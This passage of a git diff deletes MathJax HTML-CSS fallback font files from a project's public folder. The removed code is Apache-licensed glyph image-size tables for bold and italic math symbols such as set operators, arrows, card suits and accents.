-      [23,20,3],[27,23,3],[32,27,4],[38,32,4],[45,38,5],[53,45,6]
-    ],
-    0x2286: [  // SUBSET OF OR EQUAL TO
-      [6,7,2],[7,8,2],[8,9,2],[10,12,3],[12,13,3],[14,16,4],[16,18,4],[19,22,5],
-      [23,26,6],[27,30,7],[32,36,8],[37,43,10],[45,50,11],[53,60,14]
-    ],
-    0x2287: [  // SUPERSET OF OR EQUAL TO
-      [6,7,2],[7,8,2],[8,9,2],[10,12,3],[11,13,3],[14,16,4],[16,18,4],[19,22,5],
-      [23,26,6],[27,30,7],[32,36,8],[38,43,10],[44,50,11],[53,60,14]
-    ],
-    0x228E: [  // MULTISET UNION
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,12,1],[14,13,1],[17,16,1],
-      [20,18,1],[24,21,1],[28,25,1],[33,29,1],[39,35,1],[47,42,2]
-    ],
-    0x2291: [  // SQUARE IMAGE OF OR EQUAL TO
-      [6,7,2],[7,8,2],[9,9,2],[10,12,3],[12,13,3],[14,16,4],[17,18,4],[20,22,5],
-      [23,26,6],[28,30,7],[33,36,8],[39,43,10],[46,50,11],[55,60,14]
-    ],
-    0x2292: [  // SQUARE ORIGINAL OF OR EQUAL TO
-      [6,7,2],[7,8,2],[8,9,2],[10,12,3],[12,13,3],[14,16,4],[16,18,4],[19,22,5],
-      [23,26,6],[27,30,7],[32,36,8],[38,43,10],[45,50,11],[53,60,14]
-    ],
-    0x2293: [  // stix-square intersection, serifs
-      [5,5,1],[6,5,0],[7,6,0],[9,8,1],[10,10,1],[12,11,0],[14,12,0],[17,15,0],
-      [20,17,0],[23,20,0],[28,25,1],[33,29,0],[39,34,0],[47,40,0]
-    ],
-    0x2294: [  // stix-square union, serifs
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,12,0],[17,15,0],
-      [20,17,0],[23,20,0],[28,24,0],[33,29,0],[39,34,0],[47,40,0]
-    ],
-    0x2295: [  // stix-circled plus (with rim)
-      [7,6,1],[7,7,1],[8,8,2],[10,10,2],[12,11,2],[14,14,3],[17,16,3],[20,19,4],
-      [23,22,4],[28,26,5],[33,31,6],[39,37,7],[46,43,8],[55,51,9]
-    ],
-    0x2296: [  // CIRCLED MINUS
-      [6,6,1],[7,7,1],[9,8,2],[10,10,2],[12,11,2],[14,14,3],[17,16,3],[20,19,4],
-      [23,22,4],[28,26,5],[33,31,6],[39,37,7],[46,43,8],[55,51,9]
-    ],
-    0x2297: [  // stix-circled times (with rim)
-      [6,6,1],[7,7,1],[8,8,2],[10,10,2],[12,11,2],[14,14,3],[17,16,3],[20,19,4],
-      [23,22,4],[28,26,5],[33,31,6],[39,37,7],[46,43,8],[55,51,9]
-    ],
-    0x2298: [  // CIRCLED DIVISION SLASH
-      [6,6,1],[7,7,1],[8,8,2],[10,10,2],[12,11,2],[14,14,3],[17,16,3],[20,19,4],
-      [23,22,4],[28,26,5],[33,31,6],[39,37,7],[46,43,8],[55,51,9]
-    ],
-    0x2299: [  // CIRCLED DOT OPERATOR
-      [6,6,1],[7,7,1],[8,8,2],[10,10,2],[12,11,2],[14,14,3],[17,16,3],[20,19,4],
-      [23,22,4],[28,26,5],[33,31,6],[39,37,7],[46,43,8],[55,51,9]
-    ],
-    0x22A2: [  // RIGHT TACK
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,28,0],[30,33,0],[36,39,0],[42,46,0]
-    ],
-    0x22A3: [  // LEFT TACK
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,28,0],[30,33,0],[36,39,0],[42,46,0]
-    ],
-    0x22A4: [  // DOWN TACK
-      [6,5,0],[7,6,0],[9,7,0],[10,10,1],[12,10,0],[14,13,1],[17,15,1],[20,17,0],
-      [23,21,1],[28,23,0],[33,28,0],[39,34,1],[46,39,0],[55,46,0]
-    ],
-    0x22A5: [  // UP TACK
-      [6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,33,0],[46,39,0],[55,46,0]
-    ],
-    0x22A8: [  // TRUE
-      [7,8,2],[8,10,3],[10,11,3],[11,12,3],[13,15,4],[16,18,5],[19,20,5],[22,24,6],
-      [26,28,7],[31,34,9],[36,40,10],[43,47,12],[51,56,14],[61,67,17]
-    ],
-    0x22C4: [  // DIAMOND OPERATOR
-      [4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,10,1],[11,12,1],[14,14,1],
-      [16,16,1],[19,19,1],[22,22,1],[27,26,1],[32,31,2],[37,37,2]
-    ],
-    0x22C5: [  // DOT OPERATOR
-      [2,2,-1],[3,2,-1],[3,3,-1],[3,3,-1],[4,3,-2],[5,4,-2],[5,4,-3],[6,5,-3],
-      [7,6,-4],[9,7,-5],[10,8,-6],[12,9,-7],[14,10,-9],[17,13,-10]
-    ],
-    0x22C6: [  // STAR OPERATOR
-      [4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[13,12,0],
-      [16,14,0],[19,17,0],[22,20,0],[26,24,0],[31,28,0],[37,34,0]
-    ],
-    0x22C8: [  // BOWTIE
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[13,9,1],[17,10,1],[19,12,1],[23,14,1],
-      [27,17,2],[32,20,2],[38,24,2],[45,28,2],[54,33,3],[64,39,3]
-    ],
-    0x22EE: [  // VERTICAL ELLIPSIS
-      [2,8,1],[3,9,1],[3,11,1],[3,13,1],[4,15,1],[5,17,1],[5,20,1],[6,24,1],
-      [7,28,1],[9,33,1],[10,40,2],[12,47,2],[14,55,2],[17,65,2]
-    ],
-    0x22EF: [  // MIDLINE HORIZONTAL ELLIPSIS
-      [9,2,-1],[11,2,-1],[13,3,-1],[15,3,-1],[17,3,-2],[21,4,-2],[24,4,-3],[29,5,-3],
-      [34,6,-4],[41,7,-5],[48,8,-6],[57,9,-7],[68,10,-9],[81,13,-10]
-    ],
-    0x22F1: [  // DOWN RIGHT DIAGONAL ELLIPSIS
-      [9,7,0],[10,8,0],[12,9,0],[15,10,-1],[17,12,-1],[20,14,-1],[24,16,-1],[28,19,-2],
-      [33,23,-2],[40,26,-3],[47,32,-3],[56,37,-4],[67,44,-5],[79,52,-6]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MathOperators.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscMathSymbolsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscMathSymbolsA.js
deleted file mode 100644
index d19160f7..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscMathSymbolsA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-      [3,8,2],[4,10,3],[4,11,3],[5,12,3],[6,15,4],[7,18,5],[8,20,5],[9,24,6],
-      [11,28,7],[13,34,9],[15,40,10],[18,47,12],[22,56,14],[25,67,17]
-    ],
-    0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-      [2,8,2],[3,10,3],[3,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],
-      [9,28,7],[11,34,9],[13,40,10],[15,47,12],[18,56,14],[21,67,17]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscMathSymbolsA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscSymbols.js
deleted file mode 100644
index 394a3ff6..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscSymbols.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x2660: [  // BLACK SPADE SUIT
-      [6,6,1],[7,8,2],[9,10,2],[10,11,2],[12,12,2],[14,15,3],[17,18,3],[20,20,3],
-      [23,24,4],[28,29,5],[33,35,6],[39,40,6],[46,48,8],[55,57,9]
-    ],
-    0x2661: [  // WHITE HEART SUIT
-      [6,6,1],[7,7,1],[8,8,1],[10,10,1],[12,11,1],[14,13,1],[17,15,1],[20,18,1],
-      [23,21,1],[28,26,2],[33,29,1],[39,36,2],[46,42,2],[55,49,2]
-    ],
-    0x2662: [  // WHITE DIAMOND SUIT
-      [6,7,2],[7,8,2],[9,10,2],[10,12,3],[12,13,3],[14,15,3],[17,18,3],[20,21,4],
-      [23,25,5],[28,29,5],[33,36,7],[39,42,8],[46,49,9],[55,59,11]
-    ],
-    0x2663: [  // BLACK CLUB SUIT
-      [6,6,1],[8,8,2],[9,10,2],[11,11,2],[12,12,2],[15,15,3],[17,18,3],[20,20,3],
-      [24,24,4],[29,29,5],[34,35,6],[40,41,7],[48,47,7],[57,57,9]
-    ],
-    0x266D: [  // MUSIC FLAT SIGN
-      [3,7,1],[4,8,1],[4,9,1],[5,10,1],[6,12,1],[7,14,1],[8,16,1],[9,19,1],
-      [11,22,1],[13,26,1],[15,31,1],[18,36,1],[22,43,1],[25,52,2]
-    ],
-    0x266E: [  // MUSIC NATURAL SIGN
-      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[6,15,4],[7,17,4],[8,20,5],[10,24,6],
-      [11,28,7],[13,33,8],[16,38,9],[19,46,11],[22,54,13],[27,64,15]
-    ],
-    0x266F: [  // MUSIC SHARP SIGN
-      [3,7,2],[4,8,2],[4,11,3],[5,12,3],[6,14,4],[7,16,4],[8,20,5],[9,23,6],
-      [11,27,7],[13,32,8],[15,38,9],[18,45,11],[21,53,13],[25,63,15]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscTechnical.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscTechnical.js
deleted file mode 100644
index 2837a0cc..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MiscTechnical.js
+++ /dev/null
@@ -1,57 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscTechnical.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x2308: [  // LEFT CEILING
-      [4,8,2],[4,9,3],[5,11,3],[6,12,3],[8,15,4],[9,18,5],[10,20,5],[12,24,6],
-      [14,28,7],[16,33,8],[20,40,10],[23,47,12],[28,56,14],[33,67,17]
-    ],
-    0x2309: [  // RIGHT CEILING
-      [3,7,2],[3,9,3],[3,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],
-      [9,28,7],[11,33,8],[13,40,10],[15,47,12],[18,56,14],[21,67,17]
-    ],
-    0x230A: [  // LEFT FLOOR
-      [4,8,2],[4,9,2],[5,11,3],[6,12,3],[8,15,4],[9,18,5],[10,20,5],[12,24,6],
-      [14,28,7],[16,34,9],[20,40,10],[23,47,12],[28,56,14],[33,67,17]
-    ],
-    0x230B: [  // RIGHT FLOOR
-      [3,8,2],[3,9,2],[3,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],
-      [9,28,7],[11,34,9],[13,40,10],[15,47,12],[18,56,14],[21,67,17]
-    ],
-    0x2322: [  // stix-small down curve
-      [8,3,0],[9,4,0],[11,3,-1],[13,4,-1],[15,5,-1],[18,6,-1],[22,6,-2],[26,8,-2],
-      [30,10,-2],[36,11,-3],[43,12,-4],[51,14,-5],[60,18,-5],[72,20,-7]
-    ],
-    0x2323: [  // stix-small up curve
-      [8,2,-1],[10,3,-1],[11,3,-1],[13,4,-1],[16,5,-1],[19,5,-2],[22,6,-2],[26,8,-2],
-      [31,8,-3],[36,9,-4],[43,12,-4],[51,14,-5],[61,16,-6],[72,18,-8]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscTechnical.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SpacingModLetters.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SpacingModLetters.js
deleted file mode 100644
index f8e59a67..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SpacingModLetters.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SpacingModLetters.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [4,2,-3],[4,2,-5],[5,2,-6],[6,2,-6],[7,3,-7],[8,4,-9],[9,4,-10],[11,5,-13],
-      [13,5,-15],[15,6,-17],[18,7,-21],[21,9,-24],[25,10,-29],[30,12,-35]
-    ],
-    0x2C7: [  // CARON
-      [4,1,-3],[4,2,-5],[5,2,-6],[6,2,-6],[7,3,-7],[8,3,-9],[9,4,-10],[11,4,-13],
-      [13,5,-15],[15,6,-17],[18,6,-21],[21,7,-24],[25,9,-28],[30,10,-34]
-    ],
-    0x2C9: [  // MODIFIER LETTER MACRON
-      [4,1,-3],[5,1,-5],[5,1,-6],[6,1,-6],[7,1,-7],[9,2,-9],[10,3,-10],[12,2,-13],
-      [14,2,-16],[17,3,-18],[20,3,-22],[23,4,-25],[28,4,-30],[33,5,-36]
-    ],
-    0x2CA: [  // MODIFIER LETTER ACUTE ACCENT
-      [4,2,-3],[4,2,-4],[5,3,-5],[6,3,-5],[7,3,-6],[8,4,-8],[9,5,-9],[11,5,-12],
-      [13,6,-14],[16,7,-16],[18,9,-19],[22,10,-23],[26,12,-27],[31,14,-33]
-    ],
-    0x2CB: [  // MODIFIER LETTER GRAVE ACCENT
-      [3,2,-3],[3,2,-4],[4,3,-5],[4,3,-5],[5,3,-6],[6,4,-8],[7,5,-9],[8,5,-12],
-      [10,6,-14],[12,7,-16],[14,9,-19],[16,10,-23],[19,12,-27],[23,14,-33]
-    ],
-    0x2D8: [  // BREVE
-      [4,2,-3],[4,2,-4],[5,2,-6],[6,2,-6],[7,3,-6],[8,4,-8],[10,4,-10],[11,5,-12],
-      [14,6,-14],[16,7,-16],[19,8,-20],[22,9,-23],[27,11,-27],[32,13,-33]
-    ],
-    0x2D9: [  // DOT ABOVE
-      [3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[6,3,-6],[7,3,-9],[8,4,-10],[9,5,-12],
-      [11,5,-15],[13,6,-17],[15,7,-21],[18,8,-24],[21,10,-28],[25,12,-34]
-    ],
-    0x2DA: [  // RING ABOVE
-      [3,1,-4],[4,2,-4],[5,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[9,3,-11],[10,4,-13],
-      [12,6,-14],[14,6,-17],[17,7,-21],[20,8,-24],[23,9,-29],[28,11,-35]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [4,1,-4],[4,1,-5],[5,3,-6],[6,3,-6],[7,4,-6],[8,4,-9],[10,4,-11],[12,5,-13],
-      [14,5,-16],[16,6,-18],[19,7,-22],[23,8,-25],[27,9,-30],[32,11,-36]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SpacingModLetters.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SuppMathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SuppMathOperators.js
deleted file mode 100644
index a697d118..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SuppMathOperators.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SuppMathOperators.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x2A3F: [  // AMALGAMATION OR COPRODUCT
-      [6,5,0],[7,6,0],[9,7,0],[11,8,0],[12,10,0],[15,12,0],[17,14,0],[20,16,0],
-      [24,19,0],[29,23,0],[34,27,0],[40,32,0],[48,38,0],[57,45,0]
-    ],
-    0x2AAF: [  // PRECEDES ABOVE SINGLE-LINE EQUALS SIGN
-      [6,7,2],[7,8,2],[8,9,2],[10,12,3],[12,13,3],[14,16,4],[16,18,4],[19,22,5],
-      [23,26,6],[27,30,7],[32,36,8],[38,43,10],[45,51,12],[53,60,14]
-    ],
-    0x2AB0: [  // SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN
-      [6,7,2],[7,8,2],[8,9,2],[10,12,3],[11,13,3],[14,16,4],[16,18,4],[19,22,5],
-      [22,26,6],[27,30,7],[32,36,8],[37,43,10],[44,50,11],[53,59,13]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SuppMathOperators.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SupplementalArrowsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SupplementalArrowsA.js
deleted file mode 100644
index 34941dfe..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/SupplementalArrowsA.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/SupplementalArrowsA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x27F5: [  // LONG LEFTWARDS ARROW
-      [13,5,1],[15,5,0],[18,7,1],[21,7,1],[25,9,1],[29,10,1],[34,11,1],[41,13,1],
-      [49,16,1],[58,18,1],[69,22,1],[81,25,1],[97,31,2],[115,36,2]
-    ],
-    0x27F6: [  // LONG RIGHTWARDS ARROW
-      [13,5,1],[15,5,0],[18,7,1],[21,7,1],[25,9,1],[30,9,0],[35,11,1],[42,14,1],
-      [49,16,1],[59,18,1],[70,22,1],[83,26,1],[98,30,1],[117,36,1]
-    ],
-    0x27F7: [  // LONG LEFT RIGHT ARROW
-      [15,5,1],[18,5,0],[21,7,1],[25,7,1],[29,9,1],[35,10,1],[41,11,1],[48,14,1],
-      [57,16,1],[68,18,1],[81,22,1],[96,26,1],[114,30,1],[136,36,1]
-    ],
-    0x27F8: [  // LONG LEFTWARDS DOUBLE ARROW
-      [13,5,1],[16,6,1],[18,7,1],[22,8,1],[26,9,1],[31,10,1],[36,13,1],[42,14,1],
-      [50,18,2],[60,21,2],[71,24,2],[85,29,3],[101,34,3],[120,40,3]
-    ],
-    0x27F9: [  // LONG RIGHTWARDS DOUBLE ARROW
-      [13,5,1],[15,6,1],[18,7,1],[22,8,1],[25,9,1],[30,11,1],[36,12,1],[42,14,1],
-      [50,18,2],[60,21,2],[71,24,2],[84,28,2],[100,34,3],[119,40,3]
-    ],
-    0x27FA: [  // LONG LEFT RIGHT DOUBLE ARROW
-      [15,5,1],[18,6,1],[21,7,1],[25,8,1],[29,9,1],[35,10,1],[41,13,1],[48,15,2],
-      [57,17,2],[68,21,2],[81,24,2],[96,29,3],[114,33,3],[136,41,4]
-    ],
-    0x27FC: [  // LONG RIGHTWARDS ARROW FROM BAR
-      [13,5,1],[15,5,0],[18,7,1],[21,7,1],[25,9,1],[30,9,0],[35,11,1],[41,14,1],
-      [49,16,1],[59,18,1],[70,22,1],[82,26,1],[98,30,1],[116,36,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SupplementalArrowsA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/050/0020.png b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/050/0020.png
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/CombDiacritMarks.js
deleted file mode 100644
index 5f2d9ece..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GeneralPunctuation.js
deleted file mode 100644
index 5d7e6803..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GreekAndCoptic.js
deleted file mode 100644
index 615086d4..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Latin1Supplement.js
deleted file mode 100644
index 654ff482..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-italic":{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],163:[[5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],[20,20,0],[24,24,0],[28,27,0],[33,34,1],[39,41,1],[47,48,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedA.js
deleted file mode 100644
index 26edc5e2..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
